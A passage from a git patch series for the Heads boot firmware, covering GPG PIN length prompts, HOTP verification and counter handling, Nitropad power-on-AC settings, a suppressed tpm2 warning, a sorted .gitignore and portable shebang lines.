$MAX_HOTP_GPG_PIN_LENGTH ]]; do + while [[ ${#USER_PIN} -lt 6 ]] || [[ ${#USER_PIN} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do echo -e -n "\nThis PIN should be between 8 to $MAX_HOTP_GPG_PIN_LENGTH characters in length.\n" echo -e -n "Enter desired GPG User PIN: " read USER_PIN From be65c4be5b5fbeca9cdb97268135507252efe171 Mon Sep 17 00:00:00 2001 From: Christian Foerster Date: Sun, 21 Apr 2024 18:42:52 +0200 Subject: [PATCH 053/619] fix small incongruency with previous commit Signed-off-by: Christian Foerster --- initrd/bin/oem-factory-reset | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 308483960..d12b0c624 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -1012,7 +1012,7 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then # if keys were generated in memory but are to be moved from local keyring to smartcard if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" -o "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "y" ]; then while [[ ${#USER_PIN} -lt 6 ]] || [[ ${#USER_PIN} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do - echo -e -n "\nThis PIN should be between 8 to $MAX_HOTP_GPG_PIN_LENGTH characters in length.\n" + echo -e -n "\nThis PIN should be between 6 to $MAX_HOTP_GPG_PIN_LENGTH characters in length.\n" echo -e -n "Enter desired GPG User PIN: " read USER_PIN done From cc70e772f8a0dcdb319d4d06e27af227a5cae51e Mon Sep 17 00:00:00 2001 From: Christian Foerster Date: Sun, 21 Apr 2024 19:00:29 +0200 Subject: [PATCH 054/619] fix another small incongruency with previous commit Signed-off-by: Christian Foerster --- initrd/bin/oem-factory-reset | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index d12b0c624..54f129dc2 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -994,7 +994,7 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then echo if [ "$prompt_output" != "n" \ -a "$prompt_output" != "N" ]; then - echo -e "\nThey must be each at least 8 characters in length.\n" + echo -e "\nThe TPM Owner Password and Admin PIN must be at least 8, the User PIN at least 6 characters in length.\n" echo if [ "$CONFIG_TPM" = "y" ]; then while [[ ${#TPM_PASS} -lt 8 ]]; do From 2828e2ca60a698c69749dd4b0b37a1593b73601b Mon Sep 17 00:00:00 2001 From: Christian Foerster Date: Mon, 22 Apr 2024 22:50:34 +0200 Subject: [PATCH 055/619] Revert "fix another small incongruency with previous commit" This reverts commit cc70e772f8a0dcdb319d4d06e27af227a5cae51e. Signed-off-by: Christian Foerster --- initrd/bin/oem-factory-reset | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 54f129dc2..d12b0c624 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -994,7 +994,7 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then echo if [ "$prompt_output" != "n" \ -a "$prompt_output" != "N" ]; then - echo -e "\nThe TPM Owner Password and Admin PIN must be at least 8, the User PIN at least 6 characters in length.\n" + echo -e "\nThey must be each at least 8 characters in length.\n" echo if [ "$CONFIG_TPM" = "y" ]; then while [[ ${#TPM_PASS} -lt 8 ]]; do From 0854f2ce802d8a3891318f4b807d4c57e677ae24 Mon Sep 17 00:00:00 2001 From: Christian Foerster Date: Mon, 22 Apr 2024 22:51:17 +0200 Subject: [PATCH 056/619] Revert "fix small incongruency with previous commit" This reverts commit be65c4be5b5fbeca9cdb97268135507252efe171. Signed-off-by: Christian Foerster --- initrd/bin/oem-factory-reset | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index d12b0c624..308483960 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -1012,7 +1012,7 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then # if keys were generated in memory but are to be moved from local keyring to smartcard if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" -o "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "y" ]; then while [[ ${#USER_PIN} -lt 6 ]] || [[ ${#USER_PIN} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do - echo -e -n "\nThis PIN should be between 6 to $MAX_HOTP_GPG_PIN_LENGTH characters in length.\n" + echo -e -n "\nThis PIN should be between 8 to $MAX_HOTP_GPG_PIN_LENGTH characters in length.\n" echo -e -n "Enter desired GPG User PIN: " read USER_PIN done From 408524fb31d26e4c65d02bfaa744aed4617e4400 Mon Sep 17 00:00:00 2001 From: Christian Foerster Date: Mon, 22 Apr 2024 22:51:25 +0200 Subject: [PATCH 057/619] Revert "UX improvements PIN questions" This reverts commit ba20d98bdd8c39ad506ef4a2a3e1f51bc84db9f8. Signed-off-by: Christian Foerster --- initrd/bin/oem-factory-reset | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 308483960..6b597fc08 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -989,11 +989,11 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then luks_new_Disk_Recovery_Key_passphrase=${CUSTOM_SINGLE_PASS} fi else - echo -e -n "Would you like to set distinct PINs/passwords to configure previously stated security components? [Y/n]: " + echo -e -n "Would you like to set distinct PINs/passwords to configure previously stated security components? [y/N]: " read -n 1 prompt_output echo - if [ "$prompt_output" != "n" \ - -a "$prompt_output" != "N" ]; then + if [ "$prompt_output" == "y" \ + -o "$prompt_output" == "Y" ]; then echo -e "\nThey must be each at least 8 characters in length.\n" echo if [ "$CONFIG_TPM" = "y" ]; then @@ -1011,7 +1011,7 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then # That is, if keys were NOT generated in memory (on smartcard only) or # if keys were generated in memory but are to be moved from local keyring to smartcard if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" -o "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "y" ]; then - while [[ ${#USER_PIN} -lt 6 ]] || [[ ${#USER_PIN} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do + while [[ ${#USER_PIN} -lt 8 ]] || [[ ${#USER_PIN} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do echo -e -n "\nThis PIN should be between 8 to $MAX_HOTP_GPG_PIN_LENGTH characters in length.\n" echo -e -n "Enter desired GPG User PIN: " read USER_PIN From 70e9c663bcca20a41b29353828ce217302ada7cc Mon Sep 17 00:00:00 2001 From: Christian Foerster Date: Mon, 22 Apr 2024 22:56:13 +0200 Subject: [PATCH 058/619] only change user PIN minimum requirement to 6 Signed-off-by: Christian Foerster --- initrd/bin/oem-factory-reset | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 6b597fc08..67318a1db 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -994,7 +994,7 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then echo if [ "$prompt_output" == "y" \ -o "$prompt_output" == "Y" ]; then - echo -e "\nThey must be each at least 8 characters in length.\n" + echo -e "\nThe TPM Owner Password and Admin PIN must be at least 8, the User PIN at least 6 characters in length.\n" echo if [ "$CONFIG_TPM" = "y" ]; then while [[ ${#TPM_PASS} -lt 8 ]]; do @@ -1002,8 +1002,8 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then read TPM_PASS done fi - while [[ ${#ADMIN_PIN} -lt 8 ]] || [[ ${#ADMIN_PIN} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do - echo -e -n "\nThis PIN should be between 8 to $MAX_HOTP_GPG_PIN_LENGTH characters in length.\n" + while [[ ${#ADMIN_PIN} -lt 6 ]] || [[ ${#ADMIN_PIN} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do + echo -e -n "\nThis PIN should be between 6 to $MAX_HOTP_GPG_PIN_LENGTH characters in length.\n" echo -e -n "Enter desired GPG Admin PIN: " read ADMIN_PIN done From b6bd682cb3ff4143dea8e1ba0a0b742ae68d4aa4 Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Mon, 22 Apr 2024 17:24:21 -0400 Subject: [PATCH 059/619] Fix HOTP verification logic (and counter increment) in gui-init and oem-factory-reset scripts Signed-off-by: Thierry Laurion --- initrd/bin/gui-init | 3 ++- initrd/bin/oem-factory-reset | 16 ++++++++++--- initrd/bin/unseal-hotp | 46 ++++++++++++++++++------------------ 3 files changed, 38 insertions(+), 27 deletions(-) diff --git a/initrd/bin/gui-init b/initrd/bin/gui-init index cd69e87c6..dfd412f2d 100755 --- a/initrd/bin/gui-init +++ b/initrd/bin/gui-init @@ -250,8 +250,8 @@ update_totp() update_hotp() { TRACE_FUNC + HOTP="Unverified" if [ -x /bin/hotp_verification ]; then - HOTP=`unseal-hotp` if ! hotp_verification info ; then if [ "$skip_to_menu" = "true" ]; then return 1 # Already asked to skip to menu from a prior error @@ -265,6 +265,7 @@ update_hotp() return fi fi + HOTP=`unseal-hotp` # Don't output HOTP codes to screen, so as to make replay attacks harder hotp_verification check "$HOTP" case "$?" in diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 6b597fc08..c368eef91 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -783,12 +783,22 @@ report_integrity_measurements() { # Check and report on HOTP status if [ -x /bin/hotp_verification ]; then - HOTP=$(unseal-hotp) >/dev/null 2>&1 + HOTP="Unverified" enable_usb - if ! hotp_verification info >/dev/null 2>&1; then - whiptail $CONFIG_WARNING_BG_COLOR --title 'WARNING: Please insert your HOTP enabled USB Security Dongle' --msgbox "Your HOTP enabled USB Security Dongle was not detected.\n\nPlease remove it and insert it again." 0 80 + for attempt in 1 2 3; do + if ! hotp_verification info >/dev/null 2>&1; then + whiptail $CONFIG_WARNING_BG_COLOR --title "WARNING: Please insert your HOTP enabled USB Security Dongle (Attempt $attempt/3)" --msgbox "Your HOTP enabled USB Security Dongle was not detected.\n\nPlease remove it and insert it again." 0 80 + else + break + fi + done + + if [ $attempt -eq 3 ]; then + die "No HOTP enabled USB Security Dongle detected. Please disable 'CONFIG_HOTPKEY' in the board config and rebuild." fi + # Don't output HOTP codes to screen, so as to make replay attacks harder + HOTP=$(unseal-hotp) >/dev/null 2>&1 hotp_verification check $HOTP case "$?" in 0) diff --git a/initrd/bin/unseal-hotp b/initrd/bin/unseal-hotp index 031c6d278..8565ac612 100755 --- a/initrd/bin/unseal-hotp +++ b/initrd/bin/unseal-hotp @@ -6,13 +6,12 @@ HOTP_SECRET="/tmp/secret/hotp.key" HOTP_COUNTER="/boot/kexec_hotp_counter" -mount_boot_or_die() -{ +mount_boot_or_die() { TRACE_FUNC # Mount local disk if it is not already mounted - if ! grep -q /boot /proc/mounts ; then - mount -o ro /boot \ - || die "Unable to mount /boot" + if ! grep -q /boot /proc/mounts; then + mount -o ro /boot || + die "Unable to mount /boot" fi } @@ -38,34 +37,35 @@ fi #counter_value=$(printf "%d" 0x${counter_value}) if [ "$CONFIG_TPM" = "y" ]; then - DEBUG "Unsealing HOTP secret reuses TOTP sealed secret..." - tpmr unseal 4d47 0,1,2,3,4,7 312 "$HOTP_SECRET" || die "Unable to unseal HOTP secret" + DEBUG "Unsealing HOTP secret reuses TOTP sealed secret..." + tpmr unseal 4d47 0,1,2,3,4,7 312 "$HOTP_SECRET" || die "Unable to unseal HOTP secret" else - # without a TPM, generate a secret based on the SHA-256 of the ROM - secret_from_rom_hash > "$HOTP_SECRET" || die "Reading ROM failed" + # without a TPM, generate a secret based on the SHA-256 of the ROM + secret_from_rom_hash >"$HOTP_SECRET" || die "Reading ROM failed" fi # Truncate the secret if it is longer than the maximum HOTP secret truncate_max_bytes 20 "$HOTP_SECRET" -if ! hotp $counter_value < "$HOTP_SECRET"; then - shred -n 10 -z -u "$HOTP_SECRET" 2> /dev/null - die 'Unable to compute HOTP hash?' +if ! hotp $counter_value <"$HOTP_SECRET"; then + shred -n 10 -z -u "$HOTP_SECRET" 2>/dev/null + die 'Unable to compute HOTP hash?' fi -shred -n 10 -z -u "$HOTP_SECRET" 2> /dev/null - -#increment_tpm_counter $counter > /dev/null \ -#|| die "Unable to increment tpm counter" +shred -n 10 -z -u "$HOTP_SECRET" 2>/dev/null +#Incrementing counter under $HOTP_COUNTER +# +# If for whatever reason, this counter is 5 counts different then on HOTP USB Security dongle, HOTP unseal fails. +#Note: HOTP_COUNTER="/boot/kexec_hotp_counter" is not detached signed under kexec.sig since it changes +# +# TODO: figure out a better alternative then a counter that can be modified on disk +# As of now, this counter isincreased only in the validated presence of the HOTP dongle being connected per callers mount -o remount,rw /boot - -counter_value=`expr $counter_value + 1` -echo $counter_value > $HOTP_COUNTER \ -|| die "Unable to create hotp counter file" - -#sha256sum /tmp/counter-$counter > $HOTP_COUNTER \ -#|| die "Unable to create hotp counter file" +DEBUG "Incrementing HOTP counter under $HOTP_COUNTER" +counter_value=$(expr $counter_value + 1) +echo $counter_value >$HOTP_COUNTER || + die "Unable to create hotp counter file" mount -o remount,ro /boot exit 0 From cb03ec5584edddcdf3e4a5701bcee80ab72ef951 Mon Sep 17 00:00:00 2001 From: Christian Foerster Date: Tue, 23 Apr 2024 01:10:53 +0200 Subject: [PATCH 060/619] change correct PIN minimum Signed-off-by: Christian Foerster --- initrd/bin/oem-factory-reset | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/initrd/bin/oem-factory-reset b/initrd/bin/oem-factory-reset index 67318a1db..cbff40d04 100755 --- a/initrd/bin/oem-factory-reset +++ b/initrd/bin/oem-factory-reset @@ -1002,8 +1002,8 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then read TPM_PASS done fi - while [[ ${#ADMIN_PIN} -lt 6 ]] || [[ ${#ADMIN_PIN} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do - echo -e -n "\nThis PIN should be between 6 to $MAX_HOTP_GPG_PIN_LENGTH characters in length.\n" + while [[ ${#ADMIN_PIN} -lt 8 ]] || [[ ${#ADMIN_PIN} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do + echo -e -n "\nThis PIN should be between 8 to $MAX_HOTP_GPG_PIN_LENGTH characters in length.\n" echo -e -n "Enter desired GPG Admin PIN: " read ADMIN_PIN done @@ -1011,8 +1011,8 @@ if [ "$use_defaults" == "n" -o "$use_defaults" == "N" ]; then # That is, if keys were NOT generated in memory (on smartcard only) or # if keys were generated in memory but are to be moved from local keyring to smartcard if [ "$GPG_GEN_KEY_IN_MEMORY" = "n" -o "$GPG_GEN_KEY_IN_MEMORY_COPY_TO_SMARTCARD" = "y" ]; then - while [[ ${#USER_PIN} -lt 8 ]] || [[ ${#USER_PIN} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do - echo -e -n "\nThis PIN should be between 8 to $MAX_HOTP_GPG_PIN_LENGTH characters in length.\n" + while [[ ${#USER_PIN} -lt 6 ]] || [[ ${#USER_PIN} -gt $MAX_HOTP_GPG_PIN_LENGTH ]]; do + echo -e -n "\nThis PIN should be between 6 to $MAX_HOTP_GPG_PIN_LENGTH characters in length.\n" echo -e -n "Enter desired GPG User PIN: " read USER_PIN done From 019098c82119adc48496616480b1c0c0d39fea6d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Micha=C5=82=20Kope=C4=87?= Date: Wed, 24 Apr 2024 10:53:13 +0200 Subject: [PATCH 061/619] config/coreboot-nitropad-*.config: disable power on AC MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The coreboot power failure state Kconfig options are wired up to the Power on AC feature on Clevo mainboards. Set the power failure state to 0 to prevent these boards from powering on or waking up with AC attach. Signed-off-by: Michał Kopeć --- config/coreboot-nitropad-ns50.config | 6 +++--- config/coreboot-nitropad-nv41.config | 6 +++--- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/config/coreboot-nitropad-ns50.config b/config/coreboot-nitropad-ns50.config index 19c43d6d8..867ee36c6 100644 --- a/config/coreboot-nitropad-ns50.config +++ b/config/coreboot-nitropad-ns50.config @@ -200,10 +200,10 @@ CONFIG_COREBOOT_ROMSIZE_KB=32768 CONFIG_ROM_SIZE=0x02000000 CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set -CONFIG_POWER_STATE_ON_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +#CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set # CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 # end of Mainboard CONFIG_SYSTEM_TYPE_LAPTOP=y diff --git a/config/coreboot-nitropad-nv41.config b/config/coreboot-nitropad-nv41.config index 631e61766..1e819f3a6 100644 --- a/config/coreboot-nitropad-nv41.config +++ b/config/coreboot-nitropad-nv41.config @@ -200,10 +200,10 @@ CONFIG_COREBOOT_ROMSIZE_KB=32768 CONFIG_ROM_SIZE=0x02000000 CONFIG_HAVE_POWER_STATE_AFTER_FAILURE=y CONFIG_HAVE_POWER_STATE_PREVIOUS_AFTER_FAILURE=y -# CONFIG_POWER_STATE_OFF_AFTER_FAILURE is not set -CONFIG_POWER_STATE_ON_AFTER_FAILURE=y +CONFIG_POWER_STATE_OFF_AFTER_FAILURE=y +#CONFIG_POWER_STATE_ON_AFTER_FAILURE is not set # CONFIG_POWER_STATE_PREVIOUS_AFTER_FAILURE is not set -CONFIG_MAINBOARD_POWER_FAILURE_STATE=1 +CONFIG_MAINBOARD_POWER_FAILURE_STATE=0 # end of Mainboard CONFIG_SYSTEM_TYPE_LAPTOP=y From 60d9aa4d5a54d1ef7e2878299f2c78a3ace3a4ce Mon Sep 17 00:00:00 2001 From: Thierry Laurion Date: Thu, 25 Apr 2024 20:23:28 -0400 Subject: [PATCH 062/619] tpmr: remove warning "Warn: check public portion of the tpmkey manually" Discussed under https://github.com/linuxboot/heads/pull/1630#issuecomment-2075120429 TODO added in code. Signed-off-by: Thierry Laurion --- initrd/bin/tpmr | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/initrd/bin/tpmr b/initrd/bin/tpmr index 630454e17..a740d4a03 100755 --- a/initrd/bin/tpmr +++ b/initrd/bin/tpmr @@ -347,8 +347,10 @@ tpm2_startsession() { --saved-session || die "tpm2_flushcontext: unable to flush saved session" tpm2 readpublic -Q -c "$PRIMARY_HANDLE" -t "$PRIMARY_HANDLE_FILE" - tpm2 startauthsession -Q -c "$PRIMARY_HANDLE_FILE" --hmac-session -S "$ENC_SESSION_FILE" - tpm2 startauthsession -Q -c "$PRIMARY_HANDLE_FILE" --hmac-session -S "$DEC_SESSION_FILE" + #TODO: do the right thing to not have to suppress "WARN: check public portion the tpmkey manually" see https://github.com/linuxboot/heads/pull/1630#issuecomment-2075120429 + tpm2 startauthsession -Q -c "$PRIMARY_HANDLE_FILE" --hmac-session -S "$ENC_SESSION_FILE" 2>&1 > /dev/null + #TODO: do the right thing to not have to suppress "WARN: check public portion the tpmkey manually" see https://github.com/linuxboot/heads/pull/1630#issuecomment-2075120429 + tpm2 startauthsession -Q -c "$PRIMARY_HANDLE_FILE" --hmac-session -S "$DEC_SESSION_FILE" 2>&1 > /dev/null tpm2 sessionconfig -Q --disable-encrypt "$DEC_SESSION_FILE" } From 4f3d210f89cbe9e3fa30736a3f329a888c8a5665 Mon Sep 17 00:00:00 2001 From: Manuel Mendez Date: Sun, 28 Jan 2024 23:12:48 -0500 Subject: [PATCH 063/619] Sort .gitignore Noticed a couple of dupes (gz and rom) so I figured I should sort it now to hopefully avoid another one in the future. Signed-off-by: Manuel Mendez Signed-off-by: Thierry Laurion --- .gitignore | 36 +++++++++++++++++------------------- 1 file changed, 17 insertions(+), 19 deletions(-) diff --git a/.gitignore b/.gitignore index b41afbf1c..e69113fbb 100644 --- a/.gitignore +++ b/.gitignore @@ -1,25 +1,23 @@ -.*.sw* -*.xz +*.bad *.bz2 +*.cpio +*.dep +*.ffs +*.fv *.gz -*.sign -*.rom -*.o -*.gz -*.tgz *.img -*.rom -*.cpio -typescript* -config/*.old *.log -*~ -crossgcc -clean +*.lz +*.o +*.rom *.sec -*.dep -*.ffs +*.sign +*.tgz *.vol -*.lz -*.fv -*.bad +*.xz +*~ +.*.sw* +clean +config/*.old +crossgcc +typescript* From d396236a833cd08b18e30069c227ec71d3803b78 Mon Sep 17 00:00:00 2001 From: Manuel Mendez Date: Wed, 7 Jun 2023 15:49:13 -0400 Subject: [PATCH 064/619] Remove hard coded paths in shebang lines Remove hard coded paths from shebangs and other references because they do not play well in nix-land. Either use /usr/bin/env to do runtime PATH based lookup or avoid absolute paths so PATH look up happens instead. Signed-off-by: Thierry Laurion Signed-off-by: Manuel Mendez Signed-off-by: Thierry Laurion --- bin/cpio-clean | 2 +- bin/verity-sign | 2 +- blobs/haswell/obtain-mrc | 2 +- blobs/p8z77-m_pro/download_BIOS_clean.sh | 2 +- blobs/t420/extract.sh | 2 +- blobs/t440p/download-clean-me | 2 +- blobs/t440p/extract | 2 +- blobs/w541/download-clean-me | 2 +- blobs/w541/extract | 2 +- blobs/x220/extract.sh | 2 +- blobs/xx20/download_parse_me.sh | 2 +- blobs/xx20/me7_update_parser.py | 2 +- blobs/xx30/download_clean_me.sh | 2 +- blobs/xx30/download_clean_me_manually.sh | 2 +- blobs/xx30/extract.sh | 2 +- blobs/xx30/me_cleaner.py | 2 +- blobs/xx30/vbios_t530.sh | 2 +- blobs/xx30/vbios_w530.sh | 2 +- blobs/z220/download_BIOS_clean.sh | 5 +- modules/slang | 2 +- patches/linux-5.10.5/shebangs.patch | 100 +++++++++ patches/linux-5.5-openpower/shebangs.patch | 190 ++++++++++++++++++ .../unhardcode-ln-in-Makefile.patch | 13 ++ 23 files changed, 325 insertions(+), 21 deletions(-) create mode 100644 patches/linux-5.10.5/shebangs.patch create mode 100644 patches/linux-5.5-openpower/shebangs.patch create mode 100644 patches/slang-2.3.1a/unhardcode-ln-in-Makefile.patch diff --git a/bin/cpio-clean b/bin/cpio-clean index c7e7ea51b..8eaa81f14 100755 --- a/bin/cpio-clean +++ b/bin/cpio-clean @@ -1,4 +1,4 @@ -#!/usr/bin/perl +#!/usr/bin/env perl # Clean all non-deterministric fields in a newc cpio file # # Items fixed: diff --git a/bin/verity-sign b/bin/verity-sign index d616a0d37..2074555ee 100755 --- a/bin/verity-sign +++ b/bin/verity-sign @@ -1,4 +1,4 @@ -#!/usr/bin/perl +#!/usr/bin/env perl # Generate dm-verity hashes and sign the root hash # # Output looks like diff --git a/blobs/haswell/obtain-mrc b/blobs/haswell/obtain-mrc index 42a6daabd..3e87cab32 100755 --- a/blobs/haswell/obtain-mrc +++ b/blobs/haswell/obtain-mrc @@ -1,4 +1,4 @@ -#!/bin/bash +#!/usr/bin/env bash set -e diff --git a/blobs/p8z77-m_pro/download_BIOS_clean.sh b/blobs/p8z77-m_pro/download_BIOS_clean.sh index 673a617e4..6f604106e 100755 --- a/blobs/p8z77-m_pro/download_BIOS_clean.sh +++ b/blobs/p8z77-m_pro/download_BIOS_clean.sh @@ -1,4 +1,4 @@ -#!/bin/bash +#!/usr/bin/env bash # P7 ASUS function printusage { diff --git a/blobs/t420/extract.sh b/blobs/t420/extract.sh index 422924741..3c8920430 100755 --- a/blobs/t420/extract.sh +++ b/blobs/t420/extract.sh @@ -1,4 +1,4 @@ -#!/bin/bash +#!/usr/bin/env bash function printusage { echo "Usage: $0 -f -m (optional) -i (optional)" diff --git a/blobs/t440p/download-clean-me b/blobs/t440p/download-clean-me index 26297d89e..37411a40f 100755 --- a/blobs/t440p/download-clean-me +++ b/blobs/t440p/download-clean-me @@ -1,4 +1,4 @@ -#!/bin/bash +#!/usr/bin/env bash set -e diff --git a/blobs/t440p/extract b/blobs/t440p/extract index 0307b93b6..88a66bbc7 100755 --- a/blobs/t440p/extract +++ b/blobs/t440p/extract @@ -1,4 +1,4 @@ -#!/bin/bash +#!/usr/bin/env bash set -e diff --git a/blobs/w541/download-clean-me b/blobs/w541/download-clean-me index 26297d89e..37411a40f 100755 --- a/blobs/w541/download-clean-me +++ b/blobs/w541/download-clean-me @@ -1,4 +1,4 @@ -#!/bin/bash +#!/usr/bin/env bash set -e diff --git a/blobs/w541/extract b/blobs/w541/extract index 0307b93b6..88a66bbc7 100755 --- a/blobs/w541/extract +++ b/blobs/w541/extract @@ -1,4 +1,4 @@ -#!/bin/bash +#!/usr/bin/env bash set -e diff --git a/blobs/x220/extract.sh b/blobs/x220/extract.sh index 422924741..3c8920430 100755 --- a/blobs/x220/extract.sh +++ b/blobs/x220/extract.sh @@ -1,4 +1,4 @@ -#!/bin/bash +#!/usr/bin/env bash function printusage { echo "Usage: $0 -f -m (optional) -i (optional)" diff --git a/blobs/xx20/download_parse_me.sh b/blobs/xx20/download_parse_me.sh index 894a2e069..1289c66aa 100755 --- a/blobs/xx20/download_parse_me.sh +++ b/blobs/xx20/download_parse_me.sh @@ -1,4 +1,4 @@ -#!/bin/bash +#!/usr/bin/env bash BLOBDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" diff --git a/blobs/xx20/me7_update_parser.py b/blobs/xx20/me7_update_parser.py index 8f201c26d..f862140d9 100644 --- a/blobs/xx20/me7_update_parser.py +++ b/blobs/xx20/me7_update_parser.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/env python """ME7 Update binary parser.""" diff --git a/blobs/xx30/download_clean_me.sh b/blobs/xx30/download_clean_me.sh index a259a6477..994f1cdbc 100755 --- a/blobs/xx30/download_clean_me.sh +++ b/blobs/xx30/download_clean_me.sh @@ -1,4 +1,4 @@ -#!/bin/bash +#!/usr/bin/env bash function printusage { echo "Usage: $0 -m (optional)" diff --git a/blobs/xx30/download_clean_me_manually.sh b/blobs/xx30/download_clean_me_manually.sh index c2cfc9d36..d7e44d010 100755 --- a/blobs/xx30/download_clean_me_manually.sh +++ b/blobs/xx30/download_clean_me_manually.sh @@ -1,4 +1,4 @@ -#!/bin/bash +#!/usr/bin/env bash function printusage { echo "Usage: $0 -m (optional)" diff --git a/blobs/xx30/extract.sh b/blobs/xx30/extract.sh index f63c4d31e..3a5ee504a 100755 --- a/blobs/xx30/extract.sh +++ b/blobs/xx30/extract.sh @@ -1,4 +1,4 @@ -#!/bin/bash +#!/usr/bin/env bash function printusage { echo "Usage: $0 -f -m (optional) -i (optional)" diff --git a/blobs/xx30/me_cleaner.py b/blobs/xx30/me_cleaner.py index c2adf0e80..46f883e30 100755 --- a/blobs/xx30/me_cleaner.py +++ b/blobs/xx30/me_cleaner.py @@ -1,4 +1,4 @@ -#!/usr/bin/python +#!/usr/bin/env python # me_cleaner - Tool for partial deblobbing of Intel ME/TXE firmware images # Copyright (C) 2016-2018 Nicola Corna diff --git a/blobs/xx30/vbios_t530.sh b/blobs/xx30/vbios_t530.sh index 0669859d1..dae75f3f0 100755 --- a/blobs/xx30/vbios_t530.sh +++ b/blobs/xx30/vbios_t530.sh @@ -1,4 +1,4 @@ -#!/bin/bash +#!/usr/bin/env bash BLOBDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" ROMPARSER="94a615302f89b94e70446270197e0f5138d678f3" diff --git a/blobs/xx30/vbios_w530.sh b/blobs/xx30/vbios_w530.sh index b5230e0a6..bbff9c8b5 100755 --- a/blobs/xx30/vbios_w530.sh +++ b/blobs/xx30/vbios_w530.sh @@ -1,4 +1,4 @@ -#!/bin/bash +#!/usr/bin/env bash BLOBDIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )" ROMPARSER="94a615302f89b94e70446270197e0f5138d678f3" diff --git a/blobs/z220/download_BIOS_clean.sh b/blobs/z220/download_BIOS_clean.sh index 870574c78..b21ae3b2e 100755 --- a/blobs/z220/download_BIOS_clean.sh +++ b/blobs/z220/download_BIOS_clean.sh @@ -1,4 +1,5 @@ -#!/bin/bash +#!/usr/bin/env bash + # Z220 CMT HP function printusage { @@ -65,4 +66,4 @@ echo "$FINAL_ME_SHA256SUM" | sha256sum --check || { echo "Failed sha256sum verif echo "###Cleaning up..." cd - -rm -r "$extractdir" \ No newline at end of file +rm -r "$extractdir" diff --git a/modules/slang b/modules/slang index 91c57402d..779d6db64 100644 --- a/modules/slang +++ b/modules/slang @@ -8,7 +8,7 @@ slang_hash := 54f0c3007fde918039c058965dffdfd6c5aec0bad0f4227192cc486021f08c36 slang_configure := ./configure \ $(CROSS_TOOLS) \ - ac_cv_path_nc5config=no \ + ac_cv_path_nc5config=ncurses-config \ --prefix "/" \ --host $(MUSL_ARCH)-elf-linux \ --with-z=no \ diff --git a/patches/linux-5.10.5/shebangs.patch b/patches/linux-5.10.5/shebangs.patch new file mode 100644 index 000000000..76a73b5d8 --- /dev/null +++ b/patches/linux-5.10.5/shebangs.patch @@ -0,0 +1,100 @@ +diff --git a/scripts/bloat-o-meter 